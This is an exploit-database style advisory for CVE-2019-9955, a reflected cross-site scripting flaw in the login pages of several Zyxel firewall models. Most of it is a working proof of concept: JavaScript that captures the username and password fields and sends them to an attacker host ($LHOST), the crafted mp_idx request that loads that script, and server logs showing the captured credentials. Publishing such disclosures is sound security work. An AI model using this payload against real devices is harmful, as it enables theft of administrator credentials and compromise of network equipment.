# Exploit Title: Reflected XSS on Zyxel login pages
# Date: 10 Apr 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://www.zyxel.com/us/en/
# Version: V4.31
# Tested on: ZyWall 310, ZyWall 110, USG1900, ATP500, USG40 - weblogin.cgi, webauth_relogin.cgi
# CVE : 2019-9955

1. Description
==============

Several Zyxel devices are vulnerable to a reflected Cross-Site Scripting via the
mp_idx parameter on weblogin.cgi and webauth_relogin.cgi.

2. Proof of Concept
=============

Host a malicious file JavaScript file named 'z', or any other single character,
locally.  The contents of 'z' for the following example are:


-----
$("button").click(function() {
    $.get("//$LHOST", { username: $("input:text").val(), password: $("input:password").val(), host: location.hostname});
});
-----


Close the mp_idx variable with "; and Use the getScript functionality of jQuery
to include the malicious file: 

Request:

GET /?mobile=1&mp_idx=%22;$.getScript(%27//$LHOST/z%27);// HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

...


When the login form is submitted, the host for the malicious file gets a request
containing the login credentials and target system:

$LHOST - - [10/Apr/2019 23:04:41] "GET /z?_=1554937481076 HTTP/1.1" 200 -
$LHOST - - [10/Apr/2019 23:04:49] "GET /?username=test&password=test&host=$RHOST HTTP/1.1" 200 -
